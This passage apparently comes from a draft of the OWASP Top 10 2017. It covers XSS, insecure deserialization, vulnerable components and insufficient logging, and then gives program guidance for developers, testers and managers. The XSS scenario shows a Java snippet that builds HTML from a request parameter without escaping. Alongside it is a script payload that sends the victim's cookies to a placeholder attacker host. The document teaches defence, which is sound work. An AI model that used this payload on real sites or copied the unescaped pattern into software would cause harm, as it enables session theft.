- **DOM XSS**. Modern JavaScript frameworks and single page applications and APIs that dynamically include attacker-controllable data to a page, are vulnerable to DOM XSS. Ideally, you would avoid sending attacker-controllable data to unsafe JavaScript APIs, but context aware escaping, input validation and content security policies can reduce the likelihood of all three forms of XSS.

Typical XSS attacks include session stealing, account takeover, MFA bypass, DIV replacement or defacement (such as trojan login DIVs), attacks against the user's browser such as malicious software downloads, key logging, and other client side attacks.

Automated tools can find some XSS problems automatically, particularly in mature technologies such as PHP, J2EE / JSP, and ASP.NET. However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, usually using third party libraries built on top of these technologies. This diversity makes automated detection difficult, particularly when using single-page applications and modern JavaScript frameworks and libraries, particularly if automated tools have not caught up with the new library, or if testers are unfamiliar with DOM XSS.

Development teams seeking to assess if they have cross site scripting should always use the latest frameworks, which typically aim to prevent XSS as a bug class. Deeper verification requires a combination of skilled penetration testing and manual source code review.

Large and high performing organizations should consider the use of automated SAST tools to inspect their source integrated into the CI/CD pipeline, along with automated scripted DAST tools such as OWASP Zap, scanning every build of every application in the portfolio to discover easily discovered flaws with every build. Although not a complete panacea, automated testing has a place in larger organizations where penetration tests after each build or manual source code review is impractical.

How do I prevent

Preventing XSS requires separation of untrusted data from active browser content.

1. Escaping untrusted HTTP request data based on the context in the HTML output (body, attribute, JavaScript, CSS, or URL) will resolve **Server XSS** vulnerabilities. The **OWASP XSS Prevention Cheat Sheet** has details on the required data escaping techniques.
2. Applying context sensitive encoding when modifying the browser document on the client side acts against **client XSS**. When this cannot be avoided, similar context sensitive escaping techniques can be applied to browser APIs as described in the **OWASP DOM based XSS Prevention Cheat Sheet**.
3. Enabling a **Content Security Policy**) (CSP) and moving inline javascript code to additional files will defend against XSS across the entire site, assuming no other vulnerabilities (such as upload path tampering or download path traversal) exist that would allow placing malicious code in the server files.

Example Scenarios

The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:

```
(String) page += "<input name='creditcard' type='TEXT' value='" +
request.getParameter("CC") + "'>";
```

The attacker manipulates the 'CC' parameter in his browser to:

```
'><script>document.location='http://www.attacker.com/cgi-
bin/cookie.cgi?foo='+document.cookie</script>'
```

This attack causes the victim's session ID to be sent to the attacker's website, allowing the attacker to hijack the user's current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See 2017-A8 for information on CSRF.

References

OWASP

- **OWASP Proactive Controls - #3 Encode Data**
- **OWASP Proactive Controls - #4 Validate Data**
- **OWASP Application Security Verification Standard - V5**
- **OWASP Testing Guide: Testing for Reflected XSS**
- **OWASP Testing Guide: Testing for Stored XSS**
- **OWASP Testing Guide: Testing for DOM XSS**
- **OWASP XSS Prevention Cheat Sheet**
- **OWASP DOM based XSS Prevention Cheat Sheet**
- **OWASP XSS Filter Evasion Cheat Sheet**

External

- **CWE-79: Improper neutralization of user supplied input**
- **PortSwigger: Client-side template injection**

A8 Deserialization

Threat agents/Attack vectors

Access Lvl \

Exploitation of deserialization is somewhat difficult, as although there are off the shelf exploits, these rarely work without chan
backported patches or hidden headers.

Am I vulnerable to attack?

Application architecture has changed dramatically over the last few years, with the move to "server-less" API driven mobile and single page applications, with the associated rise of functional programming frameworks and languages. This seismic shift in application architecture were accompanied by the idea of the client maintaining state, to allow theoretical simpler and more scalable functional code. However, the hallmark of application security is the location of trusted state. Security state cannot be sent to the client without some form of integrity promise.

Applications and APIs will be vulnerable if the code:

- The client can create, replay, tamper, or chain existing serialized state (gadgets), AND
- The server or API deserializes hostile objects supplied by an attacker, AND
- The objects contain a constructor, destructor, callbacks, auto-instantiation (such as rehydration calls) OR
- The objects override protected or private member fields that contain sensitive state, such as role or similar

How do I prevent

- The only safe architectural pattern is to not send or accept serialized objects from untrusted sources

If this not possible

- Implement integrity checks or encryption of the serialized objects to prevent hostile creation, tampering, replay and gadget calls
- Isolate code that deserializes, such that it runs in very low privilege environments, such as temporary containers
- Enforce type constraints over serialized objects; typically code is expecting a particular class
- Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.

Larger and high performing organizations should also consider:

- Rate limit API or methods that deserialize
- Restrict or monitor incoming and outgoing network connectivity from containers or servers that deserialize
- Monitor deserialization, alerting if a user deserializes constantly.

References

OWASP

- **OWASP Proactive Controls - Validate All Inputs**
- **OWASP Application Security Verification Standard - TBA**
- **OWASP Cheat Sheet - Deserialization**

External

- **CWE-502: Deserialization of Untrusted Data**

A9 Using Components with Known Vulnerabilities

Threat agents/Attack vectors

Access Lvl \

There are off the shelf exploits for certain platforms, but typically this issue requires authentication or access to specific platfor
issue is using dependency checkers in the CI/CD platform.

Am I vulnerable to attack?

You are likely vulnerable:

- If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies.
- If any of your software out of date? This includes the OS, Web/App Server, DBMS, applications, APIs and all components, runtime environments and libraries.
- If you do not know if they are vulnerable. Either if you don't research for this information or if you don't scan them for vulnerabilities on a regular base.
- If you do not fix nor upgrade the software. E.g. if you don't update your software to work together with this fixes. But also if you fix severe vulnerabilities too slowly.
- If you do not secure the components' configurations (see A5:2017-TBD).

How do I prevent

Most component projects do not create vulnerability patches for old versions. So the only way to fix the problem is to upgrade to the next version, which can require other code changes. Software projects should have a process in place to:

- Continuously inventory the versions of both client-side and server-side components and their dependencies using tools like **versions**, **DependencyCheck**, **retire.js**, etc.
- Continuously monitor sources like **CVE** and **NVD** for vulnerabilities in your components. Use software composition analysis tools to automate the process.
- Analyze libraries to be sure they are actually invoked at runtime before making changes, as many components are never loaded or invoked.
- Only obtain your components from official sources and, when possible, prefer signed packages to reduce the chance of getting a modified, malicious component.
- Most component projects do not create security patches for old versions. So you may need to upgrade to the next version (and rewrite the application to match, if needed). If this is not possible, deploy a **virtual patch** that analyzes HTTP traffic, data flow, or code execution and prevents vulnerabilities from being exploited.

Additionally, you should ensure that there is an ongoing plan for monitoring the security of components for the lifetime of the application.

Example Scenarios

Components almost always run with the full privilege of the application, so flaws in any component can result in serious impact. Such flaws can be accidental (e.g., coding error) or intentional (e.g., backdoor in component).

The **2017 Equifax breach** was caused by **CVE-2017-5638**, a Struts 2 remote code execution vulnerability that enables execution of arbitrary code on the server.

While **internet of things (IoT)** are frequently difficult to patch, the importance of patching them can be great (eg: **St. Jude pacemakers**).

There are now tools to help attackers find unpatched systems. For example, the Shodan IoT search engine can help you **find devices** that still suffer from the **Heartbleed vulnerability** that was patched in April 2014.

References

OWASP

- OWASP Proactive Controls - TBA
- OWASP Application Security Verification Standard - TBA
- OWASP Testing Guide - TBA
- OWASP Cheat Sheet - TBA
- **OWASP Dependency Check (for Java and .NET libraries)**
- **OWASP Virtual Patching Best Practices**

External

- **The Unfortunate Reality of Insecure Libraries**
- **MITRE Common Vulnerabilities and Exposures (CVE) search**
- **National Vulnerability Database (NVD)**
- **Retire.js for detecting known vulnerable JavaScript libraries**
- **Node Libraries Security Advisories**
- **Ruby Libraries Security Advisory Database and Tools**

A10 Insufficient Logging and Monitoring

Threat agents/Attack vectors

Access Lvl \

Exploitation of insufficient logging and monitoring is the bedrock of every major incident. Attackers rely on the lack of monitori
active response, such as being blocked. This is often not visible to tools.

Am I vulnerable to attack?

Insufficient logging and monitoring occurs anytime:

- Auditable events, such as logins, failed logins, and high value transactions are not logged
- Logs are not monitored for suspicious activity
- Alerting or escalation as per the risk of the data held by the application is not in place or effective.

How do I prevent

As per the risk of the data stored or processed by the application:

- Ensure all login and high value transactions can be logged
- Ensure sensitive and private information is not logged, or masked or truncated as per privacy laws and regulations
- Ensure stack traces and detailed errors are not sent to the screen, but to logs
- Ensure logs cannot easily be deleted or cleared without authorization
- Establish effective monitoring and alerting, such that suspicious activities such as brute force attacks or business loss are detected and responded within acceptable time periods.

Large or high performing organizations should have application security incident response plans in place, and tested across web apps and API services, with tooling integrated into processes, people and training. Such organizations may wish to invest in log correlation and analysis or security event incident management (SIEM) software or services. Open source and commercial offerings should be considered in light of organizational objectives and budget.

Example Scenarios

Target, a large US retailer, had an internal malware analysis sandbox analyzing attachments. The sandbox software had detected potentially unwanted software, but no one responded to this detection. By the time the point of sale breach was discovered, the sandbox had been alerting on this issue for over six months. Since this time, Target has invested heavily in security operations, including training, and network and application oversight.

An open source project forum software run by a small team was hacked using a flaw in its software. The attackers managed to wipe out the internal source code repository containing the next version, and all of the forum contents. Although source could be recovered, the lack of monitoring, logging or alerting led to a far worse breach. The forum software project is no longer active as a result of this issue.

References

OWASP

- **OWASP Proactive Controls - Implement Logging and Intrusion Detection**
- **OWASP Application Security Verification Standard - V7 Logging and Monitoring**
- **OWASP Testing Guide - Testing for Detailed Error Code**
- **OWASP Cheat Sheet - Logging**

External

- **CWE-223: Omission of Security-relevant Information**
- **CWE-778: Insufficient Logging**

+D What's Next for Developers

Establish & Use Repeatable Security Processes and Standard Security Controls

Whether you are new to web application security or are already very familiar with these risks, the task of producing a secure web application or fixing an existing one can be difficult. If you have to manage a large application portfolio, this task can be daunting.

To help organizations and developers reduce their application security risks in a cost effective manner, OWASP has produced numerous free and open resources that you can use to address application security in your organization. The following are some of the many resources OWASP has produced to help organizations produce secure web applications and APIs. On the next page, we present additional OWASP resources that can assist organizations in verifying the security of their applications and APIs.

Activity
Application Security Requirements
Application Security Architecture
Security Standard Controls
Secure Development Lifecycle
Application Security Education

There are numerous additional OWASP resources available for your use. Please visit the **OWASP Projects** page, which lists all the Flagship, Labs, and Incubator projects in the OWASP project inventory. Most OWASP resources are available on our **wiki**, and many OWASP documents can be ordered in **hardcopy or as eBooks**.

+T What's Next for Security Testing

Establish Continuous Application Security Testing

Building code securely is important. But it's critical to verify that the security you intended to build is actually present, correctly implemented, and used everywhere it was supposed to be. The goal of application security testing is to provide this evidence. The work is difficult and complex, and modern high-speed development processes like Agile and DevOps have put extreme pressure on traditional approaches and tools. So we strongly encourage you to put some thought into how you are going to focus on what's important across your entire application portfolio, and do it cost-effectively.

Modern risks move quickly, so the days of scanning or penetration testing an application for vulnerabilities once every year or so are long gone. Modern software development requires continuous application security testing across the entire software development lifecycle. Look to enhance existing development pipelines with security automation that doesn't slow development. Whatever approach you choose, consider the annual cost to test, triage, remediate, retest, and redeploy a single application, multiplied by the size of your application portfolio.

Activity
Understand the Threat Model
Understand Your SDLC
Testing Strategies
Achieving Coverage and Accuracy
Making Findings Awesome

+O What's Next for Organizations

Start Your Application Security Program Now

Application security is no longer optional. Between increasing attacks and regulatory pressures, organizations must establish effective processes and capabilities for securing their applications and APIs. Given the staggering amount of code in the numerous applications and APIs already in production, many organizations are struggling to get a handle on the enormous volume of vulnerabilities.

OWASP recommends that organizations establish an application security program to gain insight and improve security across their application portfolio. This should include vendor application security testing governance, policies, verification and deployment, such that leading or organizations who use any combination of internal, managed security service providers, or out-tasked vendor security testing, can directly compare results from multiple vendors by using agreed metrics, test plans, risk management frameworks, and so on.

Achieving application security requires many different parts of an organization to work together efficiently, including security and audit, software development, and business and executive management. It requires security to be visible, so that all the different players can see and understand the organization's application security posture. It also requires focus on the activities and outcomes that actually help improve enterprise security by reducing risk in the most cost effective manner.

Some of the key activities in effective application security programs include:

Get Started

- Establish an application security program and drive adoption.
- Conduct a capability gap analysis comparing your organization to your peers to define key improvement areas and an execution plan.
- Gain management approval and establish an application security awareness campaign for the entire IT organization.
- Document all your IT assets (e.g. applications) in a Configuration Management Database (CMDB).

Risk Based Portfolio Approach

- Identify the protection needs of your application portfolio from a business and regulatory perspective. Add the results to your CMDB.
- Establish a common risk rating model with a consistent set of likelihood and impact factors reflective of your organization's tolerance for risk.
- Accordingly measure and prioritize all your applications and APIs. Add the results to your CMDB.
- Establish assurance guidelines to properly define coverage and level of rigor required.

Enable with a Strong Foundation

- Establish a set of focused policies and minimum standards that outsourced development or custom development partners must demonstrate in your software supply chain.
- Establish a set of focused policies and standards that provide an application security baseline for all development teams.
- Define a common set of reusable security controls that complement these policies and standards and provide design and development guidance on their use.

- Establish an application security training curriculum that is required and targeted to different development roles and topics.

Integrate Security into Existing Processes

- Define and integrate secure implementation and verification activities into existing development and operational processes. Activities include threat modeling, secure design & review, secure coding & code review, penetration testing and remediation.
- Provide subject matter experts and support services for development and project teams to be successful.

Provide Management Visibility

- Manage with metrics. Drive improvement and funding decisions based on the metrics and analysis data captured. Metrics include adherence to security practices / activities, vulnerabilities introduced, vulnerabilities mitigated, application coverage, defect density by type and instance counts, etc.
- Analyze data from the implementation and verification activities to look for root cause and vulnerability patterns to drive strategic and systemic improvements across the enterprise. Learn from mistakes and offer positive incentives to promote improvements.

Examples of such programs

- US Department of Veteran's Affairs **OIS Software Assurance**

+AM What's next for managers

AppSec Program

Application Security is not the Dark Arts, it's a highly repeatable facet of software engineering. The primary aim of any CISO or application owner is to reduce the risks to the organization by addressing the most important issues in a highly repeatable, business as usual fashion.

To that end, we suggest:

- Consider reviewing your application security program against the **OWASP SAMM** project. This project has 12 major domains, each of which can assist with maturing any appsec program, regardless of size
- Move left; by this we mean the old days of performing a penetration test just before (or usually after) you go live is not particularly effective if that's the entireity of your application security program. Implement security into your agile SDLC, and ensure security is just another team member that helps to enable secure business.
- Ensure you have an effective data asset list, so you can ensure that all applications have appropriate controls, risk management and safeguards. The growth of software as a service places special burdens on organizations, as often the data is outside the traditional security boundary, and yet you cannot outsource responsibility for issues such as privacy or compliance. With the EU GDPR and other regulations containing significant penalties for mishandling data, it's more critical than ever to understand where your data is, and the controls over it.
- Training and investing in your people. Security is not a technology issue; it's a people problem. Make sure your staff and contractors are aware of their obligations to produce secure software, rather than rely on a small non-scalable team. This may mean providing "secure development" training or similar for developers and architects. Penetration testing training would be best suited for quality assurance, rather than development staff.
- Managing application security must cover all phases of the SDLC, from ensuring adequate resourcing, business requirements and limits, ensuring that development teams are continuously improving, ensuring that testing verifies all of the security activities to that point, build covers off simple things like ensuring the build breaks if outdated or vulnerable components are found, and there is adequate monitoring, escalation and incident response management in place.

Metrics

A key issue is how do you measure the reduction in risk, year on year, especially if you are just starting out on an app sec program, or engaging in new ways of testing applications and APIs.

Some metrics to get you going include:

- How many defects are currently known per application?
- Does this indicate security technical debt or training requirements?
- Does this indicate the need to upgrade or replace certain platforms?
- How many critical, high and medium risks have been resolved over time?

- How much does a security defect cost to resolve? This helps provide the investment case for training, retiring known technical debt, and helping the business surface the true costs of going live with unknown risk
- How effective are your testing partners in reducing your risk? Do they help find impactful issues? Could they be better used in some way?
- How many apps have never been tested? Do they contain any sensitive data assets?
- Tracking if testing is overdue or required for regulatory compliance reasons, such as PCI ASV scans or privacy impact assessments

There are many forms of metrics that can be found. Be careful of metrics that don't align business and security, but instead aim to reduce costs - such as cost per bug. At a certain point, KPIs need to be aligned with enabling secure business, not cost reductions.

This is just the start

Starting the application security journey can feel overwhelming. A key takeaway is that you can't review your way to building a bridge; at some point you must build it. Let's ensure that security is deeply esconced within the organization, and aligned with organizational objectives.

+A: What's next for Application Managers

Manage the full Application Lifecycle

Applications are some of the most complex systems humans regularly create and maintain. IT management for an application should be performed by IT specialists who are responsible for the overall IT lifecycle of an application.

We suggest establishing application managers and or application owners for every application. The application manager is the technical counterpart of the application owner from business perspective and manages the full application lifecycle, including the security of an application, associate data assets, and documentation. Application managers work together with the organization's security specialists.

Requirements and Resource Management

- Collect and negotiate the business requirements for an application with the business, including receiving the protection requirements in regard to confidentiality, integrity and availability of all data assets
- Compile the technical requirements including functional and non functional security requirements
- Plan and negotiate the budget that covers all aspects of design, build, testing and operation, including security activities

Request for Proposals (RFP) and Contracting

- Negotiate with internal or external developers the requirements, including guidelines and security requirements with respect to your security program, e.g. SDLC, best practices
- Rate the fulfillment of all technical requirements including a rough planning and design
- Negotiate all technical requirements including design, security and service level agreements (SLA)
- Consider to use templates and checklists, such as **OWASP Secure Software Contract Annex**.

NB: Please note that the Annex is a sample specific to US contract law, and is likely to need legal review in your jurisdiction. Please consult qualified legal advice before using the Annex.

Planning and Design

- Negotiate planning and design with the developers and internal shareholders, e.g. security specialists
- Compile a security concept (e.g. architecture, measures) according the protection needs and the planned environmental security level. This should be supported by security specialists. Get the application owner to assume remaining risks or to provide additional resources.
- Plan the quality gates for the development including security gates

Development

Please review the +D "What's next for developers" for guidance.

Deployment, Testing and Rollout

- It's critical that security tasks automated the secure setup of the application, interfaces and of all further components needed, including required authorizations

- Test the technical functions and integration to the IT architecture, coordinate business tests. Consider to test use and abuse cases from technical and business perspectives.
- Manage security tests according to internal processes, the protection needs and the level of security where the application is going to be
- Put the application in operation and migrate form previously used applications
- Finalize all documentation, including the CMDB and security architecture.

Operating and Changes

- Operating including the security management for the application (e.g. patch management)
- Regularly report all users and authorizations to the application owner and get them acknowledged
- Raise the security awareness of users and manage conflicts about usability vs security
- Plan and manage changes, e.g. migrate to new versions of the application or other components like OS, middleware and libraries
- Update all documentation, including in CMDB and the security concept.

Retiring systems

- Regard any requirements for archiving data
- Securely close down the application, incl. delete unused accounts and authorization
- Set your application's state to retired in the CMDB

References

OWASP Flagship Projects (Documents)

The following OWASP Flagship documentation projects are most likely to be useful to users/adopters of this standard:

- OWASP Cheat Sheets
- OWASP Proactive Controls
- OWASP Application Security Verification Standard
- OWASP Testing Guide
- OWASP Privacy Top 10 Risks
- OWASP Mobile Top 10 Risks
- OWASP SAMM

OWASP Flagship Projects (Tools)

The following projects are highly likely to be useful to adopters of the OWASP Top 10:

- OWASP AppSensor
- OWASP Dependency Check
- OWASP mod_security WAF Core Rule Set
- OWASP Open Web Testing Framework
- OWASP ZAP

OWASP Lab Projects

These projects are working towards Flagship status, and might well achieve it before 2020.

- OWASP Developer Guide
- OWASP Juice Shop
- OWASP Secure Contract Annex

For a full list of projects, please see OWASP Projects

External references

The following external sites reference the OWASP Top 10, and would likely be relevant to adopters.

- MITRE Common Weakness Enumeration
- PCI Security Standards Council
- PCI Data Security Standard (DSS)